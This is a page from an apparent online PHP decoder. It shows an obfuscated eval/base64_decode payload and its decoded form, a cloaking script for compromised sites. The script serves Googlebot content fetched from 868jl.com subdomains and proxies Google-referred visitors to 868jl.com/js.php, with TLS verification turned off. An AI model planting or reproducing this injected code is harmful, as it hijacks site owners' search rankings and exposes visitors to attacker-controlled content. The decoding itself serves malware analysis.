Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $f13CmY9X="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($f13CmY9X("ID8..

Decoded Output download

 ?><?php
$sameurl = @$_SERVER['HTTP_HOST'] . @$_SERVER['PHP_SELF'] . @$_SERVER['QUERY_STRING'];
$sameword = 'product';

function isSearchEngineBot($user_agent, &$detected_bot)
{
    // Googlebot  User-Agent 
    $bots = [
        'Google' => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'
    ];

    foreach ($bots as $bot => $agent) {
        if (stripos($user_agent, $bot) !== false) {
            $detected_bot = $agent;
            return true;
        }
    }
    return false;
}

function seo($url, $current_domain, $user_agent)
{
    $file_contents = '';
    
    if (function_exists('curl_init'))
    {
        try
        {
            $ch = curl_init();
            $timeout = 30;
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
            $file_contents = curl_exec($ch);
            curl_close($ch);
        }
        catch(Exception $e)
        {
        }
    }
    if (strlen($file_contents) < 1 && function_exists('file_get_contents'))
    {
        ini_set('user_agent', $user_agent);
        try
        {
            $file_contents = @file_get_contents($url);
        }
        catch(Exception $e)
        {
        }
    }
    $current_url = $current_domain . $_SERVER['REQUEST_URI'];
    $current_path = dirname($current_url);
    $file_contents = str_replace('https://868jl.com', $current_path, $file_contents);
    $file_contents = str_replace('update.php','product.php', $file_contents);
    $file_contents = preg_replace('/^\?/', '', $file_contents);
    return $file_contents;
}

$current_domain = $_SERVER['REQUEST_SCHEME']."://".$_SERVER['HTTP_HOST'];
$current_domain2 = $_SERVER['HTTP_HOST'];
$replace_domain = preg_replace('/\./', '-', $current_domain2);

//  URL  "product"
if (strpos($sameurl, $sameword) !== false)
{
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $detected_bot = '';

    //  Googlebot
    if (isSearchEngineBot($user_agent, $detected_bot)) {
        //  Googlebot
        echo seo("https://".$replace_domain .".868jl.com/" . @$_SERVER['QUERY_STRING'], $current_domain, $detected_bot);
        exit();
    }

    //  Google  Referer
    if (isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'google.com') !== false) {
        //  Google  js.php
        echo seo("https://868jl.com/js.php", $current_domain, $user_agent);
        exit();
    }

    //  404
    header("HTTP/1.1 404 Not Found");
    exit();
}
?>
<?php

Did this file decode correctly?

Original Code

<?php $f13CmY9X="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($f13CmY9X("ID8+PD9waHAKJHNhbWV1cmwgPSBAJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gQCRfU0VSVkVSWydQSFBfU0VMRiddIC4gQCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsKJHNhbWV3b3JkID0gJ3Byb2R1Y3QnOwoKZnVuY3Rpb24gaXNTZWFyY2hFbmdpbmVCb3QoJHVzZXJfYWdlbnQsICYkZGV0ZWN0ZWRfYm90KQp7CiAgICAvLyBHb29nbGVib3Qg55qEIFVzZXItQWdlbnQg5qOA5rWLCiAgICAkYm90cyA9IFsKICAgICAgICAnR29vZ2xlJyA9PiAnTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IEdvb2dsZWJvdC8yLjE7ICtodHRwOi8vd3d3Lmdvb2dsZS5jb20vYm90Lmh0bWwpJwogICAgXTsKCiAgICBmb3JlYWNoICgkYm90cyBhcyAkYm90ID0+ICRhZ2VudCkgewogICAgICAgIGlmIChzdHJpcG9zKCR1c2VyX2FnZW50LCAkYm90KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRldGVjdGVkX2JvdCA9ICRhZ2VudDsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBzZW8oJHVybCwgJGN1cnJlbnRfZG9tYWluLCAkdXNlcl9hZ2VudCkKewogICAgJGZpbGVfY29udGVudHMgPSAnJzsKICAgIAogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpCiAgICB7CiAgICAgICAgdHJ5CiAgICAgICAgewogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgICAgICAgICAgJHRpbWVvdXQgPSAzMDsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcl9hZ2VudCk7CiAgICAgICAgICAgICRmaWxlX2NvbnRlbnRzID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICB9CiAgICAgICAgY2F0Y2goRXhjZXB0aW9uICRlKQogICAgICAgIHsKICAgICAgICB9CiAgICB9CiAgICBpZiAoc3RybGVuKCRmaWxlX2NvbnRlbnRzKSA8IDEgJiYgZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKQogICAgewogICAgICAgIGluaV9zZXQoJ3VzZXJfYWdlbnQnLCAkdXNlcl9hZ2VudCk7CiAgICAgICAgdHJ5CiAgICAgICAgewogICAgICAgICAgICAkZmlsZV9jb250ZW50cyA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgICAgICB9CiAgICAgICAgY2F0Y2goRXhjZXB0aW9uICRlKQogICAgICAgIHsKICAgICAgICB9CiAgICB9CiAgICAkY3VycmVudF91cmwgPSAkY3VycmVudF9kb21haW4gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKICAgICRjdXJyZW50X3BhdGggPSBkaXJuYW1lKCRjdXJyZW50X3VybCk7CiAgICAkZmlsZV9jb250ZW50cyA9IHN0cl9yZXBsYWNlKCdodHRwczovLzg2OGpsLmNvbScsICRjdXJyZW50X3BhdGgsICRmaWxlX2NvbnRlbnRzKTsKICAgICRmaWxlX2NvbnRlbnRzID0gc3RyX3JlcGxhY2UoJ3VwZGF0ZS5waHAnLCdwcm9kdWN0LnBocCcsICRmaWxlX2NvbnRlbnRzKTsKICAgICRmaWxlX2NvbnRlbnRzID0gcHJlZ19yZXBsYWNlKCcvXlw/LycsICcnLCAkZmlsZV9jb250ZW50cyk7CiAgICByZXR1cm4gJGZpbGVfY29udGVudHM7Cn0KCiRjdXJyZW50X2RvbWFpbiA9ICRfU0VSVkVSWydSRVFVRVNUX1NDSEVNRSddLiI6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJGN1cnJlbnRfZG9tYWluMiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJHJlcGxhY2VfZG9tYWluID0gcHJlZ19yZXBsYWNlKCcvXC4vJywgJy0nLCAkY3VycmVudF9kb21haW4yKTsKCi8vIOajgOafpeW9k+WJjSBVUkwg5piv5ZCm5YyF5ZCrICJwcm9kdWN0IgppZiAoc3RycG9zKCRzYW1ldXJsLCAkc2FtZXdvcmQpICE9PSBmYWxzZSkKewogICAgJHVzZXJfYWdlbnQgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107CiAgICAkZGV0ZWN0ZWRfYm90ID0gJyc7CgogICAgLy8g5Yik5pat5piv5ZCm5Li6IEdvb2dsZWJvdAogICAgaWYgKGlzU2VhcmNoRW5naW5lQm90KCR1c2VyX2FnZW50LCAkZGV0ZWN0ZWRfYm90KSkgewogICAgICAgIC8vIOWmguaenOaYryBHb29nbGVib3TvvIzmmL7npLrpobXpnaIKICAgICAgICBlY2hvIHNlbygiaHR0cHM6Ly8iLiRyZXBsYWNlX2RvbWFpbiAuIi44NjhqbC5jb20vIiAuIEAkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10sICRjdXJyZW50X2RvbWFpbiwgJGRldGVjdGVkX2JvdCk7CiAgICAgICAgZXhpdCgpOwogICAgfQoKICAgIC8vIOajgOafpeaYr+WQpuadpeiHqiBHb29nbGUg5pCc57Si57uT5p6c77yI5qC55o2uIFJlZmVyZXLvvIkKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pICYmIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sICdnb29nbGUuY29tJykgIT09IGZhbHNlKSB7CiAgICAgICAgLy8g5aaC5p6c5piv5p2l6IeqIEdvb2dsZSDmkJzntKLnu5PmnpzvvIzot7PovazliLAganMucGhwCiAgICAgICAgZWNobyBzZW8oImh0dHBzOi8vODY4amwuY29tL2pzLnBocCIsICRjdXJyZW50X2RvbWFpbiwgJHVzZXJfYWdlbnQpOwogICAgICAgIGV4aXQoKTsKICAgIH0KCiAgICAvLyDlhbbku5bmg4XlhrXvvIzov5Tlm54gNDA0CiAgICBoZWFkZXIoIkhUVFAvMS4xIDQwNCBOb3QgRm91bmQiKTsKICAgIGV4aXQoKTsKfQo/Pgo8P3BocCA=")); ?>

Function Calls

base64_decode 1

Variables

$f13CmY9X base64_decode

Stats

MD5 aec151a01231c70af4b65a0981d42021
Eval Count 1
Decode Time 46 ms